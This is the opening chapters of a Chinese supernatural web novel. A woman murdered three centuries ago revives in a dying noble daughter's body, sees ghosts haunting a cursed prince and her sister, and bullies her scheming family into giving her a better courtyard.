《皇妃来自地府,百鬼退散》 第1章 折骨,槐骨归 夜色如墨。 大燕京城三十里郊外,荒草疯长,枯树嶙峋。 四野寂静,昏暗中似有黑影在缓缓蠕动,每一声虫鸣,都像是索命的音符。 一阵邪风卷着腐叶,磷火点点漂游,像无数阴测测的眼。 一辆马车侧翻在地。 随行的嬷嬷和车夫连忙爬起来,冲向车厢。 “大小姐,大小姐!” 柳嬷嬷焦急地唤着。 马车沉重,一时推不开门。 车厢里,原来有断断续续的咳嗽声。 现在却一片死寂。 一个年轻女子靠在车厢里,脸色灰败,已无一点生气。 血从嘴角溢出,一滴一滴地落在马车木板上,顺着木板的缝隙,滴落在地上。 土地松软。 血慢慢渗了进去。 车夫一边用力拉着车门,一边低声牢骚。 “好好的车怎么说翻就翻了,夫人说大小姐不吉利,没准是真的,我驾车多年,从没翻过。” “别说这话。”柳嬷嬷也压低声音:“她也是可怜,明明是永安候府嫡出的大小姐,却在庄户院里长大。夫人这次说是接大小姐回来嫁人……哎……能有什么好人家?” 车夫缩了缩脖子,声音更低。 “这地方也有点邪门,听说三百年前,这里是一片乱葬岗呢。” 柳嬷嬷打了个寒战。 车夫一指不远处,是一棵不知道活了多少年的老槐树。 “那棵树上,听说挂满了尸体,衣服被扒光了,都赤条条的,风一吹,噼里啪啦地撞着响。” 柳嬷嬷脸都白了,哆哆嗦嗦的。 不远处,老槐树抖了抖枝叶。 土地之下,千万条根系疯狂地颤抖着。 树根之中,裹着一具一点儿血肉都不剩的白骨。 泥土中鲜血的味道,如此美味。 三百年了。 这一点血,沾染上指尖。 白骨化作丝丝缕缕的黑色,顺着鲜血蔓延的方向,纠缠游走。 黑色雾气从地下升腾而上,进入车厢,缠绕在已经停止心跳的女人身上。 下一刻。 已经闭上的双眼重新睁开。 安槐脸上的灰败气色慢慢消失,开始红润。 她用一种很奇怪的姿势坐起来,就像是老胳膊老腿许久没动,僵硬得很,有些不适应一样。 安槐静静地坐了一会儿,伸手抚在胸口。 砰!砰!砰! 那是心脏鲜活跳动的声音。 恍若隔世,犹如天籁。 三百年前,她被亲生父母害死,抛尸在这乱葬岗里。 吸收了无数冤魂阴气才得以填补滋养不断涣散的魂魄。 有鬼死不瞑目,有鬼心如止水,有鬼执念不消,有鬼狰狞嚣张。 都成了她的养分。 如今,她还需要吸收更多的冤魂,滋养这干枯的骨架。 费了半天的力气,车门终于打开了。 柳嬷嬷松了口气:“大小姐,您没事儿吧?” “没事。” 安槐扶着柳嬷嬷的手,下了马车。 视线扫过旷野,她近乎贪婪地看着月明星稀,听着蝉鸣鸟叫。 安槐伸出手,手指胳膊都有点僵硬。 车夫检查了一下车,为难道:“大小姐,车坏了,得修一会儿。今晚上,我们可能要在这里过夜了。” “不要紧。”安槐很随和:“有点冷,生个火吧。” 火光很快亮了起来。 安槐伸出手,几乎贪婪地感受着温暖和明亮。 “大小姐。”柳嬷嬷小心地叮嘱:“您坐远些,别让火燎着了。” “不碍事儿。” 安槐的声音冷冷清清的。 “我喜欢……暖和的光。那里……太冷了,太黑了,我受够了。” 她说着,看着自己被火光照亮的手指。 白的几乎透明,能看见血管里的血液在流淌。 柳嬷嬷觉得这话怪怪的,却琢磨一下,却也说不出哪里奇怪。 她是去庄子上接安槐的。 安槐在庄子上住的那屋子确实阴冷。 哎,是个可怜姑娘。 安槐烤了一夜的火,却还没感觉暖起来。 马车在第二日擦黑的时候,进了皇城。 虽是傍晚,可城中热闹。 安槐掀开窗帘。 外面人来人往,看得她心动不已。 “柳嬷嬷,我想下去走走。” 柳嬷嬷一看,有些为难:“今晚夜市,人多,怕冲撞着大小姐。” “我小心些,冲撞不了。” 柳嬷嬷无奈,只好让马车停下。 安槐下了车,往人多的地方走。 她喜欢活人热闹的气息,沾染多些,会让她记得,自己也曾经活过。 只是刚走两步,就见对面一个黑影迎面而来。 那是个年轻女孩子,手中握着根柳枝,直冲冲的从她和柳嬷嬷中间穿了过去。 还冲着柳嬷嬷脚下点了点。 留下一串笑声,消失在黑暗中。 柳嬷嬷像是看不见那女孩一样,只是突然打了个冷颤,抱住了胳膊。 这才九月,怎么突然冷了一下? *********** “死人了,死人了……” 凄厉的尖叫声划破喧闹的集市。 月亮河穿城而过,河边,有一排不知长了多少年的柳树。 月色中,一个人高高地挂在柳枝中。 “咚!咚!咚!” 风吹过,那人的身躯一下一下砸在树干上,像是在荡秋千,发出沉闷又沉重的声音。 仔细地看,被柳枝捆绑着的,是个男人。 或者说,是具男尸。 男尸的四肢以一种绝不可能属于活人的姿态,反向弯折在身后。 他的双臂自肩肘处诡异拧转,紧贴脊背,双腿从膝盖,脚踝处齐齐反折,脚尖朝上,如折枝一般崩成一道凄厉弧线。 柳枝坚韧,如绳索一般缠绕脖颈,又死死捆住关节四肢,整具尸体如提线木偶一般,挂在柳条间。 拉成一个扭曲如蝶,又恐怖至极的舞姿。 第2章 折骨,柳上尸舞 脚步声凌乱响起。 有人喊。 “大家让开,三皇子殿下来了!” 很快,树下便拉起了警戒线。 一个穿着墨色长袍的年轻男子带着一队人马来到树下。 男子身姿挺拔,肩宽腰窄,是常年练武才有的利落线条,步履利落之极,带着沙场杀伐之气。 他容颜清俊绝伦,只可惜左眼眼尾有一道狰狞伤疤,在一身贵气里,多了叫人胆寒的凶悍。 围观众人对他似乎十分忌惮,纷纷让出一圈空地。 靳朝言面色阴沉,抬头往上看去。 即便二十六岁的他在边城十年,见过无数血腥杀戮,几次从死人堆里爬出来,也有种从心里涌上来的诡异感觉。 “小心点把人放下来。”靳朝言说:“去把仵作叫来。” 一个普通人见到这么诡异的尸体,会很害怕。 但一群人,会一边很害怕,一边很好奇。 开始吓跑的人,在官府来人后,又陆陆续续聚起来了。 热闹总是要凑的,不然白逛夜市了。 不过人群中,有人议论。 “不过死了个人,来的不应该是京兆府的差役吗?三皇子怎么来了?” 京城人多,命案不稀奇。 发现命案之后,第一到场的都是京兆府衙役,若是重案大案,再交由大理寺或者刑部。 这三皇子,可不是个普通人。 不管普通案子。 议论声中,远处青石板路上,只见一道素色身影,不疾不徐。 衣袂轻扬,似沾了山间晨雾,无风自曳。 待走近些,只见眉如远山含黛,眼似寒潭凝霜,清冷淡漠,不染半分烟火气。 步履轻缓,身姿亭亭,每一步都静得像落雪, 人未至,先有一股清洌气质扑面而来, 美得干净,美得孤高,美得让人不敢轻易靠近。 安槐停下脚步,看着人群中心。 柳嬷嬷以为她好奇,自己也好奇,主动打探消息去了。 仵作正在验尸。 一旁,高大的男子背手而立。 尸体狰狞恐怖,一道黑影,从尸体上缓缓站了起来,分成丝丝缕缕的黑色雾气,进入了男人的身体。 男人身体周边,像是被黑雾笼罩一般。 靳朝言突然觉得心里有些不舒服,抬手按住胸口。 一旁副官眼尖,低声道:“主子,您心悸又犯了?要不先回去休息?” 靳朝言在边境十年,杀伐无数。 身上虽然没受什么要命的伤,可也不知何时起,有了心悸的毛病。 在边境时候,发作的频繁。 回到京城,不时还会发作,太医换了一个又一个,都束手无策。 只含糊地说,是多年征战伤了根本,若是不好好调养,怕是……不好。 靳朝言摇了摇头。 “不碍事儿。” 生死有命,既然天下没有大夫可医,那就听天由命。 他手上虽然血迹斑斑,但从没有罔杀滥杀,问心无愧。 柳嬷嬷是个高效包打听,很快就问清楚了。 “死了个人。”柳嬷嬷低声说:“是御史中丞韦大人家的大公子韦升荣,死的可惨。” 安槐刚入京,自然一个人都不认识,不过听着,知道是个官员。 柳嬷嬷一脸嫌弃:“这韦升荣生前……哎,不说也罢,总之晦气。大小姐,咱们快走吧。” 安槐却拽住了柳嬷嬷。 她颇有兴趣的指了指:“那穿着墨色长袍领队的男人,他是什么人?” 柳嬷嬷脸色一变。 一脸更晦气的样子。 “嘘。”柳嬷嬷声音更小了:“大小姐,那人可不能说,是京城有名的活阎王。” “活阎王?” 柳嬷嬷低声将靳朝言的身份说了一下。 “有意思。”安槐琢磨了一下。 原来是边关回来的杀神,难怪周身缠绕了这么多冤魂野鬼。 要是普通人,早就疯癫而死了,而他,还只是半死。 安槐目光灼灼,穿透人群,盯住了靳朝言。 柳嬷嬷也不知道安槐在看什么,但总觉得浑身不自在,不由地催道:“大小姐,咱们快走吧。” 安槐摆摆手:“不着急。” 她往一旁走去。 柳嬷嬷赶忙跟去:“大小姐,您要做什么?” 安槐走到一株柳树前,伸手去够柳枝。 “碰上死人,不晦气吗?”安槐说:“编一个柳圈戴,祛晦气。” 柳枝能驱鬼,历来有这样的说法。 《齐民要术》上说,取柳枝著户上,百鬼不入家。 柳枝打鬼,打一下,矮三寸。 观音菩萨的玉净瓶里,还有根可以度化,祛晦的柳枝呢。 柳嬷嬷一听,立刻表示赞同,也伸手折了一枝。 柳枝长长的,圈起来就是个环。 安槐手很巧,就站在树边,圈了个环。 柳嬷嬷不善手工,柳枝又脆,啪一声就折断了。 好在柳树垂下万千丝绦,多的是。 于是又折了一根。 安槐编好柳圈之后,随便拽过一个路边看热闹的小孩,给他塞了一块银子。 然后指了指人群中的靳朝言。 初生牛犊不怕虎。 小孩儿胆大,收了那么大块银子,这一刻胆大包天,拿着柳圈就去了。 柳嬷嬷正在一心一意地编柳圈。 “柳嬷嬷。”安槐说:“你有没有觉得累?” 柳嬷嬷愣了一下。 不说没感觉,这一说,还真觉得有点累。 她年纪虽然不轻了,可干了一辈子的活儿,身体结实着。 按理说走上这一段路,对她来说完全不算什么。 可也不知怎么的,就觉得身体比往日沉了许多。 柳嬷嬷迟疑道:“多谢大小姐关心,大约是昨晚上没睡好。” 昨晚宿在野地,当然是睡不好的。 安槐点了点头,自然换了话题:“柳嬷嬷,你衣服后面脏了,我帮你拍拍。” 柳嬷嬷不明所以,只想着大小姐真是平易近人。 她转过身。 安槐随手折了根柳枝在手。 抬手就往柳嬷嬷背后抽去。 柳嬷嬷背后也没长眼睛,看不见,只觉得背上落了个什么东西,耳边好像传来一声惨叫。 但这里人多,嘈杂的很。 这惨叫像是个小女孩儿的尖声惊叫,似在耳边,再仔细听听,又不在耳边。 安槐用柳枝连抽了七下。 柳嬷嬷突然一个激灵。 背后传来一股浓烈腥臭味道。 第3章 折骨,伤口里的嫩芽 “怎么了,什么味道?”柳嬷嬷愕然转身。 “没味道啊。”安槐一脸淡然:“好了,干净了。” 柳嬷嬷满脸的怀疑,可是耳边尖叫像是幻觉,腥臭味道也像是错觉,背后什么也没有,也没有味道。 地上,是安槐随手丢的柳枝。 柳枝上好像缠着黑色的似乎是头发的东西。 柳嬷嬷自己看不见,她一路走来,两腿脚腕上,被黑黑的发丝像是镣铐一样锁着。 那自然是越走越累,越走越累。 柳嬷嬷正要弯腰捡起柳枝看看,安槐说:“嬷嬷现在感觉下,身体是不是轻了许多?” 柳嬷嬷一听,动了动肩膀胳膊,伸了伸胳膊腿。 “还真是。” 她惊喜道:“神了啊,突然感觉不累了。” 安槐微微一笑。 “柳枝,驱邪。” 柳嬷嬷一听,觉得真有道理。 “对对对,大小姐说得对。” 柳嬷嬷赶忙将柳圈戴在头上。 等再去看地上时,那柳枝就是一条普通柳枝,上面并没有什么黑色的头发。 柳嬷嬷揉了揉眼睛,自言自语。 我大概真的有点老了,眼睛花了。 不过大小姐竟然给自己拍衣服,感觉心里暖暖的。 柳嬷嬷心里轻松,看了看天。 得赶紧回府了。 于是她又催了一下,安槐这次没说什么,跟着走了。 靳朝言正在听仵作说话。 “殿下。”仵作面有难色,欲言又止。 祖文彬是京城最好的仵作,靳朝言淡淡说:“但说无妨。” 祖文彬说:“从尸体整体情况看,死者的死亡时间不超过一个时辰。” 月亮河边,人来人往。 那么大一个人挂在树上,除非是半夜没人的时候,不然是不可能不被发现的。 靳朝言点头。 “但是……”祖文彬吞咽了一下口水,强忍着惊恐,声音压得不能再低地说:“从伤口看,他已经死了……超过十天了。” “什么?” 不仅仅是靳朝言,连身边几个副官,都看了过来。 祖文彬被看的缩了缩脑袋。 靳朝言沉声道:“为何这么说?” 祖文彬颤颤巍巍地用袖子遮挡着,拨开韦升荣脖子上缠绕的柳枝。 为了不伤尸体,柳枝是从树上新鲜割断的,现在还是绿油油的。 尸体也新鲜,血都尚未凝固。 没有尸斑,没有尸僵,鲜活得很。 可祖文彬拨开韦升荣被柳枝遮挡缠绕的伤口,靳朝言猛地睁大眼睛。 鲜嫩的柳枝上已经长出了新芽,那些新芽,已经长进了伤口里,镶嵌进了血肉中。 那新芽嫩得不得了,上面沾着丝丝血迹,场面说不出的诡异。 祖文彬低声说:“柳枝抽芽,即便是春日和煦,也少说要十天半个月。可这尸体……确实刚死没多久……” 祖文彬说着,心中泛起阵阵寒意。 他抬头看了眼柳树。 昏暗中的柳树,披头散发,狰狞舞爪,犹如鬼魅。 莫不是这柳树成精了? 他想说,但是不敢说。 乱力乱神,不可胡言。 眼前这三皇子,是死人堆里爬出来的煞神,可不信这个。 听说他杀人跟切菜一样,祖文彬缩了缩脖子,只觉得脖子上凉飕飕的,有点害怕。 靳朝言果然没有追问,只是叮嘱:“此事不可宣扬出去。” 众人连忙点头。 京城最重要的是什么,是维稳。 就算真有妖魔鬼怪,也不能引起百姓恐慌。 只能暗中调查,暗中铲除。 靳朝言一吩咐,众手下便开始收拾。 人群闹哄哄的,挤过来一个小孩子。 小男孩只有两三岁的样子,一脸懵懂。 他一手抓着块银子,一手拿着个柳枝折的环。 个子小有个子小的优势,他跟条鱼似的就溜到了靳朝言面前。 扯了扯靳朝言的衣摆。 靳朝言低头一看。 蹲下身来。 “你找本王?” 无数黑影从靳朝言身上散出,扑向小男孩。 但是小男孩身上似有种无形屏障,黑影突破不了,只好悻悻回头。 小男孩怯怯的点了点头,将柳圈放在靳朝言手上。 靳朝言有些奇怪的看了看。 “你送给我的?” 小男孩摇头,说:“姐姐给的。” “哪个姐姐?” 小男孩回头往远处一指。 可惜,远处空荡荡的,早已经没人。 小男孩恍惚了,他皱眉一想,小手继续坚定一指:“姐姐,那里有个姐姐。” 靳朝言也大概猜出来了。 刚才那里有个姐姐。 现在姐姐走了。 他本来还想问问姐姐长什么样子,想想算了,这么点大孩子,能说清楚是姐姐不是哥哥,就已经很不错了。 你指望他能告诉你双眼皮,尖下巴,鹅蛋脸吗? 别吓着孩子了。 靳朝言也给了孩子一小块碎银子,让他走了。 “主子,都收拾好了,可以走了。” 亲信侍卫杭玉堂走了过来。 靳朝言点了点头。 也不知道是不是错觉,总觉得这柳圈拿在手里,身体轻松了一些。 靳朝言走出一段路,回头看了一眼。 河边一排柳树,个个张牙舞爪。 都说柳枝驱邪,就算有精怪作乱,谁又说得清楚,这妖是人是树? 而这诡异的死亡,已经不是第一起。 不过第一个死者身份不显赫,死在人不知鬼不觉的地方。 怕引起恐慌,所以不曾宣扬。 也正因为此,这诡异案子,父皇亲自交到了他手里。 **** 安槐走进永安侯府。 她有些新奇的四下张望。 一旁路过的丫鬟小厮看了,面上不屑,低声奚落。 “真是乡下长大的丫头,什么都没见过的样子,出去说这是咱们侯府大小姐,我都觉得丢脸。” 安槐已经走出十几步了,突然回头,看了那丫鬟。 丫鬟声音很小,自以为绝对不会被听见。 突然被安槐一看,心里一慌,低下头去。 安槐没说什么,跟着柳嬷嬷往前走。 那三百年太孤独。 她喜欢阴森的魂,也喜欢鲜活的人。 喜欢一切阳光下的东西。 喜欢这生机勃勃,又鬼气森森的京城。 人间,很美味。 第4章 折骨,冲喜新娘 安槐刚走进院子,就看见一名和她年纪相仿的少女,白皙丰盈,穿着一身暖粉锦缎,头上插着耀目珠钗。 柳嬷嬷低声说:“这是二小姐。” 二小姐安明珠。 她只比安槐小一岁,是安母刚出月子就怀上的。 但查出安明珠有孕那一日,安府便得了朝中赏赐,安母笃定这孩子是个福星,从此疼爱有加。 十几年过去,府中新人虽然都知道安明珠是二小姐,但大多竟不知还有个大小姐,只以为大小姐早已夭折。 如今安槐回来,不会有什么好事。 安明珠一脸青春张扬,一见安槐,便跑了过来。 “这就是姐姐吧。”安明珠挽着安槐的胳膊:“姐姐,我是明珠。快来,母亲有事情要跟你说呢。” 这急吼吼的模样,就像是要把她拉走卖了一样。 进了房间。 永安侯不在,侯夫人雍容华贵坐在上位。 没看见人时,她眼中就有掩饰不了的厌恶。 看见人后,眼前一亮。 果然是自己的女儿。 就算在庄户院子那种粗糙地方,也是个美人胚子。 侯夫人十分满意,长的美,是好事。 要是长的丑,可怎么能顶替明珠出嫁呢? 侯夫人站了起来。 十七年未见,母女之间,哪有情分。 两人互相打量一番。 安明珠说:“姐姐,你怎么傻了,这是母亲。” 安槐往前走了一步。 “我没傻,只是我从没见过母亲,我还以为……自己是石头缝里蹦出来的。” 侯夫人还未来得及给她个下马威,就被堵了一下。 心里火气蹭蹭地往上冒。 果然乡下养大的孩子,就是粗鄙不堪。 就算是有副好容貌,骨子里也是粗俗。 还是安明珠赶紧搂住了后夫人的胳膊。 “娘。”安明珠晃了晃她胳膊,撒娇:“姐姐初来乍到,别吓着她了。” 她使劲儿朝侯夫人眨了眨眼。 安槐有用,怎么都要忍一忍。 后夫人明白,深深的吸了口气。 “是,你说的是。”侯夫人缓下来:“我们母女多年未见,生疏也是难免。” “不过不管怎么样,你也是娘的亲生女儿,娘心里日日夜夜的,惦记着你。” 侯夫人说着,擦了擦眼角。 安槐冷眼瞧着。 三百年了。 豪门大户人家的夫人小姐,还是这般矫揉造作,没有一丝改变。 又虚伪,又恶心,又熟悉。 侯夫人见安槐不说话,继续道:“你小的时候,家里给你订了一门婚事。这次接你回来,便是要完婚。” 说起婚事,安槐想到了靳朝言。 听柳嬷嬷说,他是个皇子。 皇子这个身份还挺高贵的,皇子妃可能不好做。 不过不要紧,事在人为。 她有的是力气和手段。 安槐有些分神。 “安槐?你在听我说话吗?” 侯夫人有些不满,竟然在她面前走神? 这真是一点儿都不将她放在眼里啊。 “哦,你继续说,我听着呢。”安槐说:“家里给我订了一门婚事。” 侯夫人见安槐这要死不活的样子,心里怒火蹭蹭的。 要不是安明珠一直给她使眼色,真恨不得现在就将人赶回乡下去。 但是不行。 安家和三皇子靳朝言的婚事,是太后钦定。 之所以没有直接说明安明珠的名字,因为根本无人记起安家还有安槐这个女儿。 太后懿旨。 永安侯之女和三皇子,择吉时,尽快完婚。 侯夫人打听到了,之所以婚事如此着急,是因为三皇子身体出了问题,怕是时日无多。 赶紧成婚。 一来可以冲喜。 二来,也想着能留下血脉。 这消息下来的时候,永安侯夫妻只觉得天都塌了。 靳朝言是什么人,是在边城杀了十年人回来的煞神。 自己娇滴滴的女儿嫁过去,用不了几日,一定会被折磨死的。 此时,侯夫人身边的老嬷嬷突然想起来。 “夫人,咱们家,不是还有个大小姐吗?” 那出生就被送走,十七年没有音讯的大小姐安槐,终于被想起来了。 “对对对。”侯夫人当时就激动的不行:“快,派人把她接回来,她才是安家大小姐,把她嫁给三皇子。” 永安侯也觉得这办法甚好。 侯夫人喜滋滋的说。 “这丫头从小克我,养了这么大,如今也算是给家里做了点贡献。” 无人在意安槐嫁人之后,是生是死。 或者,她在父母家人心里,早已经死了。 此时,侯夫人克制着厌烦,温柔的说:“婚期定在五日后,一应用品家里都会给你准备。这几日,你就在家里安心待着,准备出嫁吧。” 别说大户人家,就算一般人家,婚期也没有那么着急的。 安槐此时倒是有些好奇。 “母亲,你给我许的是哪一家?” 我那素未谋面的相公,是要死了吗? 活不到第六日? 侯夫人含糊了一下。 “反正是个好人家,你等着就是。婚姻大事,爹娘还会害你不成。你是永安侯府的大小姐,所嫁夫家,一定身份尊贵,锦衣玉食,不会亏待你的。” 不待安槐再问,侯夫人高声道:“小喜,送大小姐去休息。” 侯夫人不敢说太多。 生怕说出靳朝言的名字,安槐随随便便去一打听,就宁可死,也不嫁了。 那不就坏了计划吗? 永安侯府不能违抗皇后的命令,但是要让她心爱的女儿去送死,那也是万万不能的。 丫鬟小喜进来给安槐福了福。 “大小姐,请随奴婢来。” 安槐看了一眼侯夫人,没说什么,跟着小喜出去了。 纸是包不住火的,这么大的婚事,能藏的住? 侯夫人真以为她是庄子里来的乡下丫头吗? 天真! 给安槐准备的院子在侯府西侧,虽不破败,但看得出来是临时打扫的。 院子里光秃秃的,无花无叶。 房门打开,有种尘封多年的腐败味道。 小喜走了进去,说:“大小姐,这就是您的院子。” 安槐伸手在鼻子前面扇了扇风。 “安明珠的院子在哪里?” 小喜不解,还是回道:“在夫人院子的南边,叫芳菲院。” “带我去看看。” 小喜有点心慌。 但安槐已经往外走了。 能分给安槐的丫鬟,又能是什么受宠的丫鬟呢。 她既害怕安明珠,也不能违抗安槐。 没一会儿,就到了安明珠的院子里。 这才是人间二月天。 宽敞,明亮,整洁,草木郁郁葱葱,繁花似锦。 安槐看了一眼就觉得不错。 “这院子我要了。”安槐走进门,跟迎上来的,安明珠的大丫鬟满冬说:“给二小姐收拾收拾,让她搬到别的院子里去。” 满冬惊呆了。 第5章 折骨,我看上,我得到 她不认识安槐,没有立刻发作,而是耐着性子问:“姑娘,请问您是……” 不得不说,安明珠的丫鬟还挺懂事,知道先问问。 小喜怕得跟什么似的。 “满冬姐姐,您别生气。”小喜点头哈腰的:“这是刚回府的大小姐,刚才去了自己的院子,觉得不太好……” 小喜说着说着,自己就说不下去了。 怯怯的回头看一眼安槐。 “大小姐,咱们回吧。我再给您院子扫一扫……” 这是扫一扫的事情吗? 安槐当然不会把冲锋陷阵的事情交给一个小丫鬟。 她往前走去。 “你是满冬,安明珠身边的大丫鬟?” “是。”满冬这会也明白了:“你是大小姐。” “不错,脑子转挺快。” 安槐说开门见山:“我看上这个院子里,你去把安明珠的东西收拾收拾,把地方腾出来给我。” 小喜,满冬,院子里其他的丫鬟,都惊呆了。 满冬甚至揉了揉耳朵。 “你在说什么?” 安槐懒得跟她废话,直接往里走去。 快走到了堂屋门口,满冬这才反应过来,赶忙伸手去拽她。 但是手还没碰到安槐的胳膊,安槐转过身来,伸手一推。 满冬只觉得肩膀上痛得像是骨头断了一样,一声惨叫,连着往后退了三四步都没站稳,一屁股坐在地上。 “哪里来的丫头,也敢拦我的路。” 安槐转身就进了堂屋。 满冬虽然是个丫鬟,但她是安明珠的大丫鬟。 安明珠在侯府受宠,要风的风,要雨的雨,谁也不敢得罪。满冬自然也狗仗人势,耀武扬威。 何曾被这么欺负过。 可她还没来得及挣扎爬起来,一个花瓶从屋子里直接砸了出来。 落在满冬身边砸了个粉碎。 破碎瓷片划过满冬的脸,在娇嫩皮肤上划出一道血线。 满冬只觉得脸上一痛,伸手一摸,放在眼前一瞧。 红色的,是血。 “啊!!” 满冬叫了起来:“快去请夫人,快去请二小姐。” 在她看来,安槐疯了! 安槐没疯,已经砸出了第二个瓶子。 “年纪轻轻的姑娘,干什么弄这些黑黑白白的东西?不知道的还以为这屋子里住的人要死了呢。” 安槐不喜欢:“来几个人,把房间里素色,暗色的东西都给我撤了。我喜欢明亮的颜色,都给我换了。” 在土中三百年。 就算是正午的光线也照不进。 黑色,黑色,永恒的黑色,她真是受够了。 满冬坐在地上哭,几个小丫鬟垂首站在一边不敢动。 小喜更是要吓哭了。 好在已经有人飞奔着去告状了。 侯夫人正和安明珠坐在屋子里说话,不外乎是说安槐坏话这些。 “这几天,委屈咱们的明珠了。” 侯夫人握着安明珠的手拍了拍:“等死丫头和三皇子的婚事成了,缓上一缓,娘一定给你找一户好人家。” 安明珠娇滴滴地将脑袋蹭在侯夫人肩上:“母亲,您真是最好的母亲,下辈子我还要做您的女儿。” 一时间,母慈子孝。 不知芳菲院里正鸡飞狗跳。 安明珠的小丫鬟急匆匆地冲进来。 “夫人,小姐……刚才芳菲院闯进来个女疯子……又打又砸的……” 侯夫人和安明珠一下子站了起来。 此时安槐已经将房间里的东西收拾了不少了。 没办法,丫鬟不动手,她只好自己来。 幸亏她力气大。 侯夫人和安明珠匆匆赶来的时候,安槐正好扯下墙上一幅画,一撕两半,卷吧卷吧。 什么泼墨山水,黑乎乎的看着都烦。 安明珠一看简直要疯了。 她看着满足的破烂,扑了过去。 看看这个,看看那个,心在滴血。 “我的玉壶春瓶!” “我的雪上踏梅!” 这可都是真迹,都可贵了。 安明珠气得眼前一黑,抬头瞪着安槐,眼睛要滴血。 几乎都维持不住千金小姐的矜持了。 侯夫人也是一样。 她伸手指着安槐,手指颤抖得像风中的落叶。 “疯了,疯了,你真是个疯丫头。”侯夫人气的声音都在抖:“安槐,你在干什么?” 安槐缓缓走了出来。 将撕成两半的一画随手往地上一丢。 “母亲,我不喜欢你给我安排的院子,我喜欢芳菲院。”安槐点了点地上的破烂:“不过我不喜欢这些死气沉沉的东西,叫人给我收拾了,换一些明亮点的来。” 安明珠颤抖地放下手里的碎片,起身扑了过去。 她一把揪住安槐的衣领。 “你怎么敢,你怎么敢……” 安槐微微一笑,在安明珠耳边低声说:“跟我闹啊,那我走。我走了,可就不能替你嫁人了。” 安明珠像是被点了穴道一样。 整个人都冷静了。 安槐一把推开她。 虽然她暂时还不知道安家把她接回来是要嫁给什么人,但显然是不个好亲事。 而且,还是个得罪不起的人家。 要不然永安侯府也不会这么折腾。 既然这样,那不是正好拿来拿捏安家? 有把柄不用是傻蛋。 安家舍得她进火坑,能舍得放在掌心的安明珠吗? 侯夫人怒火中烧举起手来,巴掌还没落下就被安明珠抱住了。 “娘,娘不可……”安明珠咬牙咬得牙都要碎了:“姐姐喜欢这院子,就让给她吧……” 侯夫人愣了一下。 安槐笑道:“母亲,您听见了么,妹妹说,这院子让给我了。不让不行呢,要是不让,我就心情不好,心情不好就身体不好,身体不好说不定一下就病死了……要是病死了,谁去嫁人呢?永安侯府里,没有第二个待嫁的女儿了吧?” 侯夫人目瞪口呆。 万万没想到安槐竟然敢如此嚣张。 她不是庄户院子里长大的吗? 不应该唯唯诺诺,胆小畏惧吗? 这算什么? 安槐丢下手茶盏,走上前两步。 “母亲,这院子给我吗?” 侯夫人张口想骂人,但是安明珠死死揪住了她的袖子。 一个劲儿给她使眼色。 五天,只有五天。 今天已经是傍晚,第五天出嫁,掐头去尾只有三天。 只要过了这三天,安槐就滚蛋了。 小不忍则乱大谋。 安明珠眼泪汪汪的,看得侯夫人一阵心疼。 她听柳嬷嬷说了,安槐身体不好,若是真气的有个三长两短,那自己的明珠就得去跳火坑。 那可不行! 侯夫人忍了又忍。 第6章 折骨,茶盏里的魂 “给,给你,你好好休息吧!” 说完,一甩袖子走了。 如果对方不是三皇子,是个普通人家,那她大可以把安槐教训一顿绑了送去。 可毕竟是皇子,侯夫人也不敢闹的太过火。 谁都不愿意和三皇子搭上关系,但是,也没人敢得罪他。 安明珠连忙跟了上去。 “等一下。” 安槐叫住了她。 安明珠勉强笑:“姐姐,还有什么事情吗?” 安槐走回房间,拿出个琉璃茶盏。 “拿走,这个我不喜欢。” 这可是贡品,是安明珠心上的东西。虽然不知道安槐这么做是为什么,但安明珠还是接了过去。 不喜欢正好。 免得给安槐糟蹋了。 安明珠接过琉璃茶盏。 “对了。”安槐说:“妹妹,你最近有没有觉得,时不时的身体有些阴冷?” 安明珠心里咯噔一下,脱口而出。 “你怎么知道?” “我哪里知道,就是看你气色不太好,随口一说。”安槐随意挥挥手:“行了,走吧。天晚了,我赶路也累了,以后再和妹妹叙旧。” 安明珠看不见那茶盏边,有个女子虚幻的身影。 那身影如影随形的跟着安明珠,临出院子门的时候,站住看向安槐。 女子抬手,撩起盖着半边脸的头发。 只见额头上一个血淋淋的窟窿,半边脸都是血。 安槐面色自若,就当什么都看不见。 女子咧嘴一笑,跟着安明珠走了。 安明珠边走边搓了搓手,又觉得一阵阴冷。 等侯夫人,安明珠一行人走了,安槐问一旁被派来伺候的柳嬷嬷。 “安明珠院子里,前些日子是不是死了个丫鬟?” 柳嬷嬷十分惊异:“大小姐,您怎么知道?” 家丑不可外扬,这事情侯夫人三令五申要烂在府里,谁敢传出去? 而且安槐不是一直在庄户院子里吗?怎么消息这么灵通? 安槐淡淡道:“那丫鬟的死,是和那琉璃茶盏有关吧?” 这回,柳嬷嬷死死闭上了嘴。 她不敢说。 但是她的表情说明了,安槐说对了。 那是安明珠院子里的丫鬟,泡茶的时候不小心跌了茶盏。 茶盏落在地毯上,也没碎。 但是安明珠大怒,她当时正在写字,顺手将桌上的镇纸砸了过去,正砸在丫鬟脑袋上。 那丫鬟脑袋上顿时就出现了一个血窟窿。 她连连求饶,可安明珠不但不让医治,还让她跪在院子里,没有她的吩咐不许起身。 丫鬟就这么昏昏沉沉地跪着,等过了几个时辰,终于有人发现不对劲的时候,她已经没气了。 侯夫人知道后,雷声大雨点小地责骂了安明珠一番。 转头警告府里的下人,管好自己的嘴,就说她是得了病死的。 又给了丫鬟家里十两银子,这事情就过去了。 柳嬷嬷不敢说,安槐也没再问。 没什么好问的,种什么因,得什么果。 那丫鬟被害死,不肯瞑目,郁结不散,无法投胎,便住在茶盏之中。 这茶盏,每日用自己的阴气,滋养着安明珠喝的茶。 安明珠如今五脏六腑里,怕是都已经有了森森鬼气。 安槐没有追问,柳嬷嬷松了口气。 “让厨房送晚饭过来吧。”安槐说:“我能吃,多送点,要荤的。” 柳嬷嬷忙应着。 安槐补充了一句。 “告诉厨房,二小姐的院子都已经让给我了,让他们看着点准备我的晚餐。要是让我发现有糊弄的地方,就去砸了厨房,把他们都赶出去。” 柳嬷嬷擦了擦汗,低头去了。 安槐虽然在乱葬岗埋了三百年,但豪门大院的游戏规则可没有忘记。 不是东风压倒西风,就是西风压倒东风。 她刚才打了安明珠的脸,也打了侯夫人的脸。 重点是打到了,打响了,对方没打回来。 那么从现在开始,整个永安侯府里,她想打谁的脸,就打谁的脸,轻易不会有人来触她这个霉头了。 永安侯也不会。 内宅是夫人的战场,侯夫人都能忍,永安侯更不会轻举妄动。 柳嬷嬷去了,很快厨房的人就送了饭菜过来。 两个丫鬟,拎了三个食盒。 放了满满一桌子的菜。 